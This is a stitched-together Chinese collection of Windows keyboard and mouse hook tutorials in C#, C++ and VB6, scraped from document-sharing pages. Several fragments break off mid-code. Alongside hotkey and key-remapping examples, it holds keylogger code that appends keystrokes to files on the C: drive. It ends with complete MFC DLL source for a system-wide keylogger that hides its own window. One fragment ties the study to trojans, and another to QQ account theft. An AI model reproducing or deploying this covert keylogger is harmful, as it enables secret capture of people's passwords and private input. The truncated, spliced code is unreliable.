钩子子程必须按照以下的语法:LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam);HookProc是应用程序定义的名字。
c#HooK

一、声明Windows API 中的函数和常量//键盘Hook结构函数[StructLayout(LayoutKind.Sequential)]public class KeyBoardHookStruct{public int vkCode;public int scanCode;public int flags;public int time;public int dwExtraInfo;}#region DllImport//设置钩子[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]//抽掉钩子public static extern bool UnhookWindowsHookEx(int idHook);[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]//调用下一个钩子public static extern int CallNextHookEx(int idHook, int nCode, IntPtr wParam, IntPtr lParam);//取得模块句柄[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]private static extern IntPtr GetModuleHandle(string lpModuleName);//寻找目标进程窗口[DllImport("USER32.DLL")]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);//设置进程窗口到最前[DllImport("USER32.DLL")]public static extern bool SetForegroundWindow(IntPtr hWnd);//模拟键盘事件[DllImport("User32.dll")]public static extern void keybd_event(Byte bVk, Byte bScan, Int32 dwFlags, Int32 dwExtraInfo);//释放按键的常量private const int KEYEVENTF_KEYUP =2;本例所使用的函数比较少,它们都在系统的USER32.dll里,包括:设置和取消钩子、调用下一个钩子、导入进程、模拟键盘等等。
C++钩子,HOOK编程,全局钩子

C++钩⼦,HOOK编程,全局钩⼦全局钩⼦,HOOK编程,建⽴DLL项⽬:代码如下:#include"pch.h"#define _DLL_API#include"MyDLL.h"HHOOK MouseHook = NULL;HHOOK KeyBoargHook = NULL;HINSTANCE g_hinst; //获取主模块的句柄,//创建⼀个节,只要是包含在节内的数据,多进程是共享的,节内的数据必须初始化,dumpbin /headers 查看dll信息#pragma data_seg("MySec")HWND g_hwnd = NULL;#pragma data_seg()#pragma comment(linker,"/section:MySec,RWS") //使⽤linker连接⽅式,设置MySec读写共享权限//⿏标钩⼦LRESULT __stdcall MouseProc(int nCode, WPARAM wparam, LPARAM lparam){return1;}//键盘钩⼦LRESULT __stdcall KeyBoardHook(int nCode, WPARAM wparam, LPARAM lparam){if (wparam == VK_F2) //当按下F2时退出{::SendMessage(g_hwnd, WM_CLOSE, 0, 0);UnhookWindowsHookEx(KeyBoargHook);}return1;}//接⼝void SetMouseHook(HWND hwnd){g_hwnd = hwnd;MouseHook = SetWindowsHookExW(WH_MOUSE, MouseProc, g_hinst, 0);}//接⼝void SetKeyBoardHook(HWND hwnd) //为了给主窗⼝发消息,我们定义了⼀个窗⼝句柄参数。
VB技巧全局键盘消息钩子

[VB技巧]全局键盘消息钩子程序中的代码:Private Sub Command1_Click()hHook=Hook_安装钩子(WH_KEYBOARD_LL,AddressOf按键消息_自定义回调函数)'安装钩子End SubPrivate Sub Command2_Click()Call Hook_卸载钩子(hHook) '释放钩子End Sub模块中的代码:'消息内容说明:''消息包含的信息有nCode,wParam,lParam这3个,本例以键盘钩子为例. ''nCode:'当nCode等于HC_ACTION时,wParam和lParam包含鼠标信息. '当nCode等于HC_NOREMOVE时,wParam和lParam包含鼠标信息,并且鼠标消息没有从消息队列里移除'wParam:'包含内容为消息事件.例如本例中"WM_KEYDOWN"事件.在本例中是用来筛选出"WM_KEYDOWN"事件的消息.'lParam:'包含了消息的内容,是一个结构型数据(EVENTMSG).包含了消息的所有内容,具体请查看声明里的注释'本hook为全局键盘hook,能hook所有键盘消息,而且是在系统处理消息前优先处理。
(这个功能需要选择WH_KEYBOARD_LL这个钩子)'如果不懂代码,只修改“按键消息_自定义回调函数”这个函数即可。
切勿修改其他代码。
Public hHook As Long '该挂钩处理过程的句柄Private Declare Function UnhookWindowsHookEx Lib"user32"(ByVal hHook As Long)As Long'卸载钩子函数声明'hHook:钩子句柄Private Declare Function SetWindowsHookEx Lib"user32" Alias"SetWindowsHookExA"(ByVal idHook As Long,ByVal lpfn As Long,ByVal hmod As Long,ByVal dwThreadId As Long)As Long '安装钩子函数声明'idHook:钩子类型(具体请查看"常用的钩子")'lpfn:回调函数的地址,用"AddressOf函数名"的方式直接作为参数传入函数.要注意的是这个回调函数必须在程序的标准模块中'hmod:实例句柄App.hInstance'dwThreadId:线程ID'返回值:若此函数执行成功,则返回值就是该挂钩处理过程的句柄;若此函数执行失败,则返回值为NULL(0).若想获得更多错误信息,请调用GetLasError 函数.Private Declare Function CallNextHookEx Lib"user32" (ByVal hHook As Long,ByVal nCode As Long,ByVal wParam As Long, lParam As Any)As Long'调用下一个钩子函数的声明Private Declare Sub CopyMemory Lib"kernel32"Alias "RtlMoveMemory"(Destination As Any,Source As Any,ByVal Length As Long)'复制内存块函数的声明Private Type EVENTMSG '结构化类型声明message As Long '在键盘消息中,包含的是按键码信息paramL As Long '32位消息的特定附加信息paramH As Long '32位消息的特定附加信息time As Long'在键盘消息中,包含的是消息发生的时间hwnd As Long '窗口句柄End Type'常量声明'--------------------------------------------------------------------------------------'常用的钩子'消息类型常量标识值消息类型适用范围Public Const WH_CALLWNDPROC=4 '发给窗口的消息线程或系统Public Const WH_CALLWNDPROCRET=12 '窗口返回的消息线程或系统Public Const WH_CBT=5 '窗口变化、焦点设定等消息线程或系统Public Const WH_DEBUG=9 '是否执行其它Hook的Hook线程或系统Public Const WH_FOREGROUNDIDLE=11 '前台程序空闲线程或系统Public Const WH_GETMESSAGE=3 '投放至消息队列中的消息线程或系统Public Const WH_JOURNALPLAYBACK=1 '将所记载的消息进行回放系统Public Const WH_JOURNALRECORD=0 '监视并记录输入消息系统Public Const WH_KEYBOARD=2 '键盘消息线程或系统Public Const WH_MOUSE=7 '鼠标消息线程或系统Public Const WH_MSGFILTER=-1 '菜单滚动条、对话框消息线程或系统Public Const WH_SHELL=10 '外壳程序的消息线程或系统Public Const WH_SYSMSGFILTER=6 '所有线程的菜单滚动条、对话框消息系统Public Const WH_KEYBOARD_LL=13 '钩子类型'WH_KEYBOARD一般还是在系统处理后处理,注入式键盘挂钩(注入dll到目标进程估计没人会喜欢),所以像Ctrl+alt+del系统会先处理掉,WH_KEYBOARD没法截获'WH_KEYBOARD_LL是在系统处理前处理的,所以很容易引起挂起之类的问题,不过操作系统通过LowLevelHooksTimeout控制超时,如果这个时间后HOOK函数还没返回,就直接被忽略了'--------------------------------------------------------------------------------------Public Const HC_ACTION=0'ncode的值,包含鼠标信息Public Const WM_KEYDOWN=&H100 '键盘消息(按键按下)Public Const WM_KEYUP=&H101 '键盘消息(按键弹起)Public Const WM_SYSKEYDOWN=&H104'键盘消息(系统按键按下)Public Const WM_SYSKEYUP=&H105 '键盘消息(系统按键弹起)Private HookMsg As EVENTMSG '结构化类型实体化'将数据写入TXTPublic Sub PrintTXT(ByVal CaseStr As String)Open"c:\键盘记录.txt"For Append As#1Print#1,CaseStrClose#1End Sub'***************************************************************** ********'**函数名:Hook_卸载钩子'**输入:ByVal hHook(Long)-钩子句柄'**输出:1表示成功,0表示失败'**功能描述:卸载指定句柄的钩子'***************************************************************** ********Public Function Hook_卸载钩子(ByVal挂起函数句柄As Long)Hook_卸载钩子=UnhookWindowsHookEx(hHook)End Function'***************************************************************** ********'**函数名:Hook_安装钩子'**输入:ByVal钩子类型(Long)-钩子类型,WH_KEYBOARD_LL为键盘钩子'**:ByVal回调函数地址(Long)-回调函数的地址,表示方式为AddressOf回调函数'**:ByVal实例句柄(Long)-App.hInstance'**:Optional线程ID(Long=0)-默认为0'**输出:返回>0表示成功(hhook钩子句柄)'**功能描述:安装指定句柄钩子'***************************************************************** ********Public Function Hook_安装钩子(ByVal钩子类型As Long,ByVal回调函数地址As Long)As LongHook_安装钩子=SetWindowsHookEx(钩子类型,回调函数地址, App.hInstance,0)End Function'***************************************************************** ********'**函数名:按键消息_自定义回调函数'**输入:ByVal ncode(Long)-nCode跟所有其他钩子处理函数一样,只要记得当nCode小于0时:调用CallNextHookEx()就可以了。
c#使用hook来监控鼠标键盘事件的示例代码

c#使⽤hook来监控⿏标键盘事件的⽰例代码如果这个程序在10⼏年前,QQ刚刚兴起的时候,有了这个代码,就可实现盗号了.当然使⽤钩⼦我们更多的是实现"全局快捷键"的需求.⽐如程序最⼩化隐藏后要"某快捷键"来启动它.钩⼦(hook),通俗的讲,她可以捕获到你的键盘和⿏标的相关操作消息.关于hook的相关代码⽹上⼀搜⼀箩筐,这是整理起来⽐较完善和使⽤最⽅便的.//Declare wrapper managed POINT class.[StructLayout(LayoutKind.Sequential)]public class POINT{public int x;public int y;}//Declare wrapper managed MouseHookStruct class.[StructLayout(LayoutKind.Sequential)]public class MouseHookStruct{public POINT pt;public int hwnd;public int wHitTestCode;public int dwExtraInfo;}//Declare wrapper managed KeyboardHookStruct class.[StructLayout(LayoutKind.Sequential)]public class KeyboardHookStruct{public int vkCode; //Specifies a virtual-key code. The code must be a value in the range 1 to 254.public int scanCode; // Specifies a hardware scan code for the key.public int flags; // Specifies the extended-key flag, event-injected flag, context code, and transition-state flag.public int time; // Specifies the time stamp for this message.public int dwExtraInfo; // Specifies extra information associated with the message.}public class GlobalHook{public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);public delegate int GlobalHookProc(int nCode, Int32 wParam, IntPtr lParam);public GlobalHook(){//Start();}~GlobalHook(){Stop();}public event MouseEventHandler OnMouseActivity;public event KeyEventHandler KeyDown;public event KeyPressEventHandler KeyPress;public event KeyEventHandler KeyUp;/// <summary>/// 定义⿏标钩⼦句柄./// </summary>static int _hMouseHook = 0;/// <summary>/// 定义键盘钩⼦句柄/// </summary>static int _hKeyboardHook = 0;public int HMouseHook{get { return _hMouseHook; }}public int HKeyboardHook{get { return _hKeyboardHook; }}/// <summary>/// ⿏标钩⼦常量(from Microsoft SDK Winuser.h )/// </summary>public const int WH_MOUSE_LL = 14;/// <summary>/// 键盘钩⼦常量(from Microsoft SDK Winuser.h )/// </summary>public const int WH_KEYBOARD_LL = 13;/// <summary>/// 定义⿏标处理过程的委托对象/// </summary>GlobalHookProc MouseHookProcedure;/// <summary>/// 键盘处理过程的委托对象/// </summary>GlobalHookProc KeyboardHookProcedure;//导⼊window 钩⼦扩展⽅法导⼊/// <summary>/// 安装钩⼦⽅法/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, GlobalHookProc lpfn,IntPtr hInstance, int threadId);/// <summary>/// 卸载钩⼦⽅法/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern bool UnhookWindowsHookEx(int idHook);//Import for CallNextHookEx./// <summary>/// 使⽤这个函数钩信息传递给链中的下⼀个钩⼦过程。
钩子函数使用

动态链接库。但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。
由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。鉴于这一点,在windows ce中对钩子程序并不支持。所以当程序完成并退出时,
应当释放钩子,调用函数:UnhookWindowsHookEx。
下面我们将举一个例子(捕捉键盘)来详细的讲解钩子函数的程序设计。
三:程序的设计:
键盘敲打消息的信息,并且,键盘敲打消息一直没有从消息队列中删除。(应用程序调用PeekMessage函数,并且设置PM_NOREMOVE标志)。也就是说当nCode等于HC_ACTION时,
钩子进程必须处理消息。而为HC_NOREMOVE时,钩子进程必须传递消息给CallNextHookEx函数,而不能做进一步的处理,而且必须有CallNextHookEx函数的返回值。
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE *fp;
if(lParam&0x80000000)
{
j = wParam;
fp=fopen("c:\\hook\\key.txt","a");
DllExport void EndHook(void);
Hook(钩子技术)基本知识讲解,原理

Hook(钩⼦技术)基本知识讲解,原理⼀、什么是HOOK(钩⼦) APIWindows消息传递机制,当在应⽤程序进⾏相关操作,例如点击⿏标、按下键盘,操作窗⼝等,操作系统能够感知这⼀事件,接着把此消息放到系统消息队列,然后到应⽤程序的消息序列中,应⽤程序通过Getmessage函数取出消息,然后调⽤DispatchMessage函数将这条消息调度给操作系统,操作系统会调⽤在设计窗⼝类时指定的应⽤程序窗⼝对这⼀消息进⾏处理,处理过程如图所⽰:在《VC深⼊详解》⼀书将钩⼦过程⽐喻为警察为了抓逃犯⽽设置的检查站,基本原理也确实与此类似。
就是在应⽤程序将信息传递给操作系统时(图中③的),对消息进⾏捕获和过滤,从⽽阻⽌消息发送到指定的窗⼝过程,最终完成对某些消息的屏蔽功能。
HOOK(钩⼦,挂钩)是⼀种实现Windows平台下类似于中断的机制。
HOOK机制允许应⽤程序拦截并处理Windows消息或指定事件,当指定的消息发出后,HOOK程序就可以在消息到达⽬标窗⼝之前将其捕获,从⽽得到对消息的控制权,进⽽可以对该消息进⾏处理或修改,加⼊我们所需的功能。
钩⼦按使⽤范围分,可分为线程钩⼦和系统钩⼦,其中,系统钩⼦具有相当⼤的功能,⼏乎可以实现对所有Windows消息的拦截、处理和监控。
这项技术涉及到两个重要的API,⼀个是SetWindowsHookEx,安装钩⼦;另⼀个是UnHookWindowsHookEx,卸载钩⼦。
对于Windows系统,它是建⽴在事件驱动机制上的,说⽩了就是整个系统都是通过消息传递实现的。
hook(钩⼦)是⼀种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往⽬标窗⼝的消息并进⾏处理。
所以说,我们可以在系统中⾃定义钩⼦,⽤来监视系统中特定事件的发⽣,完成特定功能,如屏幕取词,监视⽇志,截获键盘、⿏标输⼊等等。
程序员在讨论时也常说“可以先钩住再处理”,即执⾏某操作之前,优先处理⼀下,再决定后⾯的执⾏⾛向。
[最新]vb6全局键盘、鼠标钩子
![[最新]vb6全局键盘、鼠标钩子](https://img.taocdn.com/s3/m/6febd5e39f3143323968011ca300a6c30c22f1e1.png)
VB6全局键盘、鼠标钩子VB: 全局键盘、鼠标钩子'---------------------------------'Form'安装钩子Private sub AddHook()'键盘钩子lHook(0) = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)'鼠标钩子lHook(1) = SetWindowsHookEx(WH_MOUSE_LL, AddressOf CallMouseHookProc, App.hInstance, 0)End Sub'卸钩子Private sub DelHook()UnhookWindowsHookEx lHook(0)UnhookWindowsHookEx lHook(1)End Sub'---------------------------------'模块Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As LongPublic Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As LongPublic Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As IntegerPublic Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As LongPublic Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)Public Type KEYMSGSvKey As Long '虚拟码 (and &HFF)sKey As Long '扫描码flag As Long '键按下:128 抬起:0time As Long 'Window运行时间End TypePublic Type MOUSEMSGSX As Long 'x座标Y As Long 'y座标a As Longb As Longtime As Long 'Window运行时间End TypePublic Type POINTAPIX As LongY As LongEnd TypePublic Const WH_KEYBOARD_LL = 13Public Const WH_MOUSE_LL = 14Public Const Alt_Down = &H20'-----------------------------------------'消息Public Const HC_ACTION = 0Public Const HC_SYSMODALOFF = 5Public Const HC_SYSMODALON = 4'键盘消息Public Const WM_KEYDOWN = &H100Public Const WM_KEYUP = &H101Public Const WM_SYSKEYDOWN = &H104Public Const WM_SYSKEYUP = &H105'鼠标消息Public Const WM_MOUSEMOVE = &H200Public Const WM_LBUTTONDOWN = &H201Public Const WM_LBUTTONUP = &H202Public Const WM_LBUTTONDBLCLK = &H203Public Const WM_RBUTTONDOWN = &H204Public Const WM_RBUTTONUP = &H205Public Const WM_RBUTTONDBLCLK = &H206Public Const WM_MBUTTONDOWN = &H207Public Const WM_MBUTTONUP = &H208Public Const WM_MBUTTONDBLCLK = &H209Public Const WM_MOUSEACTIVATE = &H21Public Const WM_MOUSEFIRST = &H200Public Const WM_MOUSELAST = &H209Public Const WM_MOUSEWHEEL = &H20APublic Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As LongPublic strKeyName As String * 255Public Declare Function GetActiveWindow Lib "user32" () As LongPublic keyMsg As KEYMSGSPublic MouseMsg As MOUSEMSGSPublic lHook(1) As Long'----------------------------------------'模拟鼠标Private Const MOUSEEVENTF_LEFTDOWN = &H2Private Const MOUSEEVENTF_LEFTUP = &H4Private Const MOUSEEVENTF_ABSOLUTE = &H8000 ' absolute movePrivate Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long'--------------------------------------'模拟按键Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)'鼠标钩子Public Function CallMouseHookProc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As LongDim pt As POINTAPIIf code = HC_ACTION ThenCopyMemory MouseMsg, lParam, LenB(MouseMsg)Form1.txtMsg(1).Text = "X=" + Str(MouseMsg.X) + " Y=" + Str(MouseMsg.Y)Form1.txtHwnd(1) = Format(wParam, "0")If wParam = WM_MBUTTONDOWN Then '把中键改为左键mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0CallMouseHookProc = 1End IfIf wParam = WM_MBUTTONUP Thenmouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0CallMouseHookProc = 1End IfEnd IfIf code <> 0 ThenCallMouseHookProc = CallNextHookEx(0, code, wParam, lParam)End IfEnd Function'键盘钩子Public Function CallKeyHookProc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As LongDim lKey As LongDim strKeyName As String * 255Dim strLen As LongIf code = HC_ACTION ThenCopyMemory keyMsg, lParam, LenB(keyMsg)Select Case wParamCase WM_SYSKEYDOWN, WM_KEYDOWN, WM_SYSKEYUP,WM_KEYUP:lKey = keyMsg.sKey And &HFF '扫描码lKey = lKey * 65536strLen = GetKeyNameText(lKey, strKeyName, 250)Form1.txtMsg(0).Text = "键名:" + Left(strKeyName, strLen) + " 虚拟码:" + Format(keyMsg.vKey And &HFF, "0") + " 扫描码:" + Format(lKey / 65536, "0")Form1.txtHwnd(0) = ""If (GetKeyState(vbKeyControl) And &H8000) ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Ctrl " End IfIf (keyMsg.flag And Alt_Down) <> 0 ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Alt " End IfIf (GetKeyState(vbKeyShift) And &H8000) ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Shift" End If'keyMsg.vKey And &HFF 虚拟码'lKey / 65536 扫描码If (keyMsg.vKey And &HFF) = vbKeyY Then '把Y键替换为NIf wParam = WM_SYSKEYDOWN Or wParam =WM_KEYDOWN Thenkeybd_event vbKeyN, 0, 0, 0End IfCallKeyHookProc = 1 '屏蔽按键End IfEnd SelectEnd IfIf code <> 0 ThenCallKeyHookProc = CallNextHookEx(0, code, wParam, lParam)End IfEnd Function=========================================================== ========。
[c++]初识c++钩子
![[c++]初识c++钩子](https://img.taocdn.com/s3/m/cd778e90d5d8d15abe23482fb4daa58da0111cd4.png)
[c++]初识c++钩⼦因为研究⽊马,需要⽤到键盘钩⼦,所以准备仔细的学习⼀下。
顺便整理⼀下⾃⼰的思路。
1、什么是钩⼦?⾸先windows操作系统是建⽴在事件驱动机制的基础上的,简单来说,系统各窗⼝之间的沟通都是通过消息的相互传递⽽实现的,通常应⽤程序只能处理来⾃程序内部进程之间或进程⾃⼰传递的消息。
如果需要对进程之外传递的消息进⾏拦截处理,就要⽤到(HOOK)钩⼦技术。
基本原理,钩⼦的本质是⼀段⽤以处理系统消息的程序,通过系统调⽤,将其挂⼊到系统。
钩⼦的种类有很多(⽐如键盘钩⼦,⿏标钩⼦等),每⼀种钩⼦负责截获并处理相应的消息。
钩⼦机制允许应⽤程序截获并处理发往指定窗⼝的消息或特定事件。
在特定消息发出,并在到达⽬的窗⼝之前,钩⼦程序先⾏截获此消息并得到对其的控制权。
此时在预先设定好的钩⼦函数中可以对截获的消息进⾏各种修改处理,甚⾄强⾏终⽌该消息的继续传递。
任何⼀个钩⼦都由系统来维护⼀个指针列表(钩⼦链表),其指针指向钩⼦的各个处理函数,最近安装的钩⼦放在链表的开始,最早安装的钩⼦则放在最后,当钩⼦监视程序出现时,操作系统调⽤链表的最近钩⼦处理函数,也就是说,最后加⼊的钩⼦将获得优先控制权。
另外钩⼦的处理函数必须是⼀个回调函数(callback function),⽽且不能定义为类成员函数,必须为普通的C函数。
使⽤钩⼦时可以根据其监视范围的不同将其分为全局钩⼦和线程钩⼦,其中线程钩⼦只能监视某个线程,⽽全局钩⼦则可以对当前系统下运⾏的所有线程进⾏监视,显然,线程钩⼦可以看做是全局钩⼦的⼀个⼦集,全局钩⼦虽然功能⽐较强⼤但同时实现起来⽐较繁琐,⽐如钩⼦实现函数必须封装在动态链接库中才可以使⽤。
2、SetWindowsHookEx()API函数SetWindowsHookEx()把⼀个应⽤程序定义的钩⼦线程安装到钩⼦链表中,该函数总是在Hook链表的开头安装。
SetWindowsHookEx()函数原型如下:HHOOK SetWindowsHookEx(int idHook;HOOKPROC lpfn;HINSTANCE hMod;DWORD dwThreadld);参数idHook指定了钩⼦的类型,总共有如下13中WH_C ALLWNDPROC 和WH_CALLWNDPROCRET HOOK可以监视SendMessage发送的消息。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。
钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。
此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。
在本程序中为方便起见采用了标准静态连接MFC DLL。
键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyKook和动态连接库LaunchDLL。
首先创建一个MFC AppWizard(DLL)工程,并选择Regular statically linked to MFC DLL (标准静态链接MFC DLL)选项,以建立MFC扩展动态连接库LaunchDLL.dll。
之后,在相应的头文件中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
同时在实现文件中添加全局变量Hook和全局函数LauncherHook()、SaveLog():
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
最后,完成以上提到的这几个函数的具体编码实现:
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInst ance,0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx()来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库和进行静态链接时用到的lib库。
下面开始编写调用此动态连接库的主程序,并实现最后的集成。
另外创建一个单文档应用程序,把所需的动态链接库头文件、lib库复制到工程目录中,将动态链接库复制到Debug 目录下。
然后链接DLL库:在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。
再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include "LaunchDLL.h"
这样我们就可以象使用本工程内的函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。
接下来在视类重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
InstallLaunchEv();
到此为止其实已经完成了所有的功能,但由于本程序是作为一个后台监控软件运行,因此还应当采取其他措施以隐藏其程序界面。
这只需在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。
小结
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。
系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。
这种技术广泛应用于各种自动监控系统中。
本文所述程序在Windows 2000 Professional + SP4下由Microsoft Visual C++ 6.0编译调试通过。